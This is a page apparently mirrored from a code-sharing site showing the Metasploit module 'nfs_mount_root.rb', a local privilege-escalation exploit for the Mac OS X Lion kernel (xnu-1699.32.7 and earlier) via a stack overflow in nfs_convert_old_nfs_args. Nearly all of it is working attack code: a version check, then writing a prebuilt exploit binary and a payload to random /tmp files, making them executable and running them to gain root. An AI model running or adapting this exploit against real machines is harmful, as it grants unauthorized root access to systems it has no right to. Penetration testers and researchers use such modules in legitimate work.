Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Path: blob/master/modules/exploits/osx/local/nfs_mount_root.rb
Views: 11784
##1# This module requires Metasploit: https://metasploit.com/download2# Current source: https://github.com/rapid7/metasploit-framework3##45class MetasploitModule < Msf::Exploit::Local6Rank = NormalRanking78include Msf::Post::File9include Msf::Post::OSX::Priv10include Msf::Exploit::EXE11include Msf::Exploit::FileDropper1213def initialize(info = {})14super(update_info(info,15'Name' => 'Mac OS X NFS Mount Privilege Escalation Exploit',16'Description' => %q{17This exploit leverages a stack buffer overflow vulnerability to escalate privileges.18The vulnerable function nfs_convert_old_nfs_args does not verify the size19of a user-provided argument before copying it to the stack. As a result, by20passing a large size as an argument, a local user can overwrite the stack with arbitrary21content.2223Mac OS X Lion Kernel <= xnu-1699.32.7 except xnu-1699.24.8 are affected.24},25'License' => MSF_LICENSE,26'Author' =>27[28'Kenzley Alphonse', # discovery and a very well-written exploit29'joev' # msf module30],31'References' =>32[33[ 'EDB', '32813' ]34],35'Platform' => 'osx',36'Arch' => [ ARCH_X64 ],37'SessionTypes' => [ 'shell', 'meterpreter' ],38'Targets' => [39[ 'Mac OS X 10.7 Lion x64 (Native Payload)',40{41'Platform' => 'osx',42'Arch' => ARCH_X6443}44]45],46'DefaultTarget' => 0,47'DisclosureDate' => '2014-04-11'48))49end5051def check52if ver_lt(xnu_ver, "1699.32.7") and xnu_ver.strip != "1699.24.8"53CheckCode::Appears54else55CheckCode::Safe56end57end5859def exploit60if is_root?61fail_with Failure::BadConfig, 'Session already has root privileges'62end6364if check != CheckCode::Appears65fail_with Failure::NotVulnerable, 'Target is not vulnerable'66end6768osx_path = File.join(Msf::Config.install_root, 'data', 'exploits', 'osx')69file = File.join(osx_path, 'nfs_mount_priv_escalation.bin')70exploit = File.read(file)71pload = Msf::Util::EXE.to_osx_x64_macho(framework, payload.encoded)72tmpfile = "/tmp/#{Rex::Text::rand_text_alpha_lower(12)}"73payloadfile = "/tmp/#{Rex::Text::rand_text_alpha_lower(12)}"7475print_status "Writing temp file as '#{tmpfile}'"76write_file(tmpfile, exploit)77register_file_for_cleanup(tmpfile)7879print_status "Writing payload file as '#{payloadfile}'"80write_file(payloadfile, pload)81register_file_for_cleanup(payloadfile)8283print_status "Executing payload..."84cmd_exec("chmod +x #{tmpfile}")85cmd_exec("chmod +x #{payloadfile}")86cmd_exec("#{tmpfile} #{payloadfile}")87end8889def xnu_ver90m = cmd_exec("uname -a").match(/xnu-([0-9\.~]*)/)91m && m[1]92end9394def ver_lt(a, b)95Rex::Version.new(a.gsub(/~.*?$/,'')) < Rex::Version.new(b.gsub(/~.*?$/,''))96end97end9899100